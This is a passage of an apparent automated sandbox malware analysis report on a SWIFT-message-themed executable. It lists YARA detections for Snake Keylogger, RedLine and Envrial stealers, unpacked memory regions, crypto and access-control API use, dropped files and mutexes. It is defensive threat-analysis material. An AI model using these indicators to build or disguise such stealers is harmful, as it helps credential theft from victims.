              Source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exe, type: DROPPEDMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe, type: DROPPEDMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: BZTCUCKTKd.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, UltraSpeed.csCryptographic APIs: 'TransformFinalBlock'
              Source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, COVIDPickers.csCryptographic APIs: 'TransformFinalBlock'
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, WP6RZJql8gZrNhVA9v.csCryptographic APIs: 'CreateDecryptor'
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, hn5qlPppNiRmP7sbFp.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, hn5qlPppNiRmP7sbFp.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.7550000.6.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, hn5qlPppNiRmP7sbFp.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, hn5qlPppNiRmP7sbFp.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
              Source: 0.2.Ziraat_Bankasi_Swift_Messaji.png.exe.3d8c0e0.2.raw.unpack, JGILNmq5ERBKBeTgX3.csSecurity API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
              Source: Ziraat_Bankasi_Swift_Messaji.png.exe, 00000000.00000002.1750273319.00000000011BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ational Typeface Corporation.slnt
              Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@28/17@7/5
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile created: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeJump to behavior
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5480:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:744:120:WilError_03
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2148:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMutant created: \Sessions\1\BaseNamedObjects\OZfczCUwSsFOTQp
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile created: C:\Users\user\AppData\Local\Temp\tmp9D7B.tmpJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCommand line argument: 08A9_2_00413780
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCommand line argument: 08A10_2_00413780
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: Ziraat_Bankasi_Swift_Messaji.png.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
